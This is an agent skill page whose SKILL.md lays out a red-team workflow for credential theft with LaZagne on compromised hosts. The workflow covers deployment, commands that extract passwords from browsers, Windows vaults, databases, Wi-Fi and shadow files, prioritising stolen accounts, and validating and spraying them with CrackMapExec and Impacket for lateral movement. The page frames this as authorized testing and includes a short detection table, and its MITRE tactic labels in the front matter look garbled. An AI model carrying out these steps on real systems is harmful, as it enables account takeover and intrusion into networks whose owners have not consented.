AGENT SKILL

performing-credential-access-with-lazagne

Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.

License 许可
Apache-2.0
最近更新
2026-09-21
Stars
★ 3
Forks
0

01 前言 Front Matter

name
performing-credential-access-with-lazagne
tags
[ "red-team", "credential-access", "lazagne", "post-exploitation", "password-recovery", "credential-dumping", "lateral-movement" ]
author
mahipal
domain
cybersecurity
license
Apache-2.0
version
1.0
mitre_f3
{ "tactics": [ "reconnaissance", "positioning", "initial-access" ], "version": "1.1", "techniques": [ { "id": "T1555", "name": "Credentials from Password Stores", "source": "attack", "tactic": "reconnaissance" }, { "id": "T1555.003", "name": "Credentials from Password Stores: Credentials from Web Browsers", "source": "attack", "tactic": "reconnaissance" }, { "id": "T1555.005", "name": "Credentials from Password Stores: Password Managers", "source": "attack", "tactic": "reconnaissance" }, { "id": "T1539", "name": "Steal Web Session Cookie", "source": "attack", "tactic": "positioning" }, { "id": "F1006.002", "name": "Account Takeover: Exposed Login Credential", "source": "f3", "tactic": "initial-access" }, { "id": "F1006", "name": "Account Takeover", "source": "f3", "tactic": "initial-access" } ] }
nist_csf
[ "ID.RA-01", "GV.OV-02", "DE.AE-07" ]
subdomain
red-teaming
description
Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.
mitre_attack
[ "T1595", "T1190", "T1059", "T1078", "T1021" ]
d3fend_techniques
[ "File Metadata Consistency Validation", "Content Format Conversion", "File Content Analysis", "Platform Hardening", "File Format Verification" ]

02 资源文件 7

03 SKILL.md 正文

Performing Credential Access with LaZagne

Overview

LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.

When to Use

  • When conducting security assessments that involve performing credential access with lazagne
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
  • Extract credentials from all supported password stores
  • Parse and prioritize recovered credentials for lateral movement
  • Identify high-value credentials (domain admin, service accounts, cloud access)
  • Document credential harvesting results with appropriate evidence handling
  • Correlate recovered credentials with BloodHound attack paths

MITRE ATT&CK Mapping

  • T1555 - Credentials from Password Stores
  • T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
  • T1555.004 - Credentials from Password Stores: Windows Credential Manager
  • T1552.001 - Unsecured Credentials: Credentials In Files
  • T1552.002 - Unsecured Credentials: Credentials in Registry
  • T1003.004 - OS Credential Dumping: LSA Secrets
  • T1539 - Steal Web Session Cookie

Workflow

Phase 1: LaZagne Deployment

  1. Transfer LaZagne to the compromised host:
    # Pre-compiled executable (Windows)
    # Transfer lazagne.exe via C2 channel or file upload
    
    # Python version (requires Python on target)
    git clone https://github.com/AlessandroZ/LaZagne.git
    cd LaZagne
    pip install -r requirements.txt
    
  2. Verify execution capability and privileges:
    # Check current user context
    whoami /priv
    
    # LaZagne works with standard user privileges for user-level stores
    # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
    

Phase 2: Full Credential Extraction (Windows)

  1. Run LaZagne with all modules:
    # Extract all credentials
    lazagne.exe all
    
    # Export results to JSON
    lazagne.exe all -oJ
    
    # Export results to specific file
    lazagne.exe all -oJ -output C:\Temp\creds
    
  2. Run specific modules for targeted extraction:
    # Browsers only (Chrome, Firefox, Edge, Opera, IE)
    lazagne.exe browsers
    
    # Windows credential stores
    lazagne.exe windows
    
    # Database credentials
    lazagne.exe databases
    
    # Email client credentials
    lazagne.exe mails
    
    # Wi-Fi passwords
    lazagne.exe wifi
    
    # Git credentials
    lazagne.exe git
    
    # System credentials (requires elevated privileges)
    lazagne.exe sysadmin
    

Phase 3: Credential Extraction (Linux)

  1. Run LaZagne on Linux targets:
    # Full extraction
    python3 laZagne.py all
    
    # Browser credentials
    python3 laZagne.py browsers
    
    # System credentials (SSH keys, shadow file with root)
    python3 laZagne.py sysadmin
    
    # Database credentials
    python3 laZagne.py databases
    
    # Git credentials
    python3 laZagne.py git
    

Phase 4: Credential Analysis and Prioritization

  1. Parse JSON output for unique credentials:
    import json
    with open("creds.json") as f:
        results = json.load(f)
    for module in results:
        for entry in module.get("results", []):
            print(f"Source: {entry.get('Category')}")
            print(f"  User: {entry.get('Login', 'N/A')}")
            print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
    
  2. Prioritize credentials by value:
    • Domain credentials (AD accounts) for lateral movement
    • Cloud service credentials (AWS, Azure, GCP console)
    • VPN and remote access credentials
    • Database credentials for data access
    • Email credentials for business email compromise
    • Service account credentials for privilege escalation

Phase 5: Credential Validation and Use

  1. Validate recovered domain credentials:
    # Test domain credentials with CrackMapExec
    crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
    
    # Test with Impacket
    smbclient.py domain.local/user:'password'@10.10.10.1
    
  2. Cross-reference with BloodHound paths for high-value targets
  3. Use recovered credentials for lateral movement or privilege escalation

Tools and Resources

Tool Purpose Platform
LaZagne Multi-source credential extraction Windows/Linux/macOS
Mimikatz LSASS/DPAPI credential dumping Windows
SharpChrome Chrome credential extraction (.NET) Windows
SharpDPAPI DPAPI credential decryption Windows
CrackMapExec Credential validation and spraying Linux
Impacket Remote credential testing Linux (Python)

LaZagne Module Coverage (Windows)

Category Modules
Browsers Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi
Email Outlook, Thunderbird, Foxmail
Databases PostgreSQL, MySQL, SQLiteDB, Robomongo
Sysadmin PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager
Windows Credential Manager, Vault, DPAPI, Autologon
WiFi Stored Wi-Fi passwords
Git Git Credential Store, Git Credential Manager
SVN TortoiseSVN
Chat Pidgin, Skype

Detection Signatures

Indicator Detection Method
LaZagne.exe process execution EDR process monitoring with hash-based detection
Access to Chrome Login Data SQLite DB File access monitoring on browser credential stores
DPAPI CryptUnprotectData API calls API hooking and ETW tracing
Access to Windows Credential Manager Event 5379 (Credential Manager read)
Mass credential store enumeration Behavioral analysis for sequential access patterns
Python interpreter accessing credential files Script block logging and file access auditing

Validation Criteria

  • [ ] LaZagne deployed on compromised endpoint
  • [ ] Full credential extraction completed (all modules)
  • [ ] Credentials exported in JSON format for analysis
  • [ ] Recovered credentials parsed and deduplicated
  • [ ] High-value credentials identified and prioritized
  • [ ] Domain credentials validated against AD
  • [ ] Lateral movement opportunities identified from recovered creds
  • [ ] Evidence documented with appropriate handling procedures

04 同仓库更多 Skills

SaiVatsal
SaiVatsal/Skills-I-Use

webapp-testing

Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.

★ 3
SaiVatsal
SaiVatsal/Skills-I-Use

web-artifacts-builder

Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn/ui). Use for complex artifacts requiring state management, routing, or shadcn/ui components - not for simple single-file HTML/JSX artifacts.

★ 3
SaiVatsal
SaiVatsal/Skills-I-Use

ui-styling

Create beautiful, accessible user interfaces with shadcn/ui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.

★ 3
SaiVatsal
SaiVatsal/Skills-I-Use

design

Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.

★ 3
SaiVatsal
SaiVatsal/Skills-I-Use

design-system

Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing/typography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant presentations.

★ 3
SaiVatsal
SaiVatsal/Skills-I-Use

banner-design

Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter/X, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal skills.

★ 3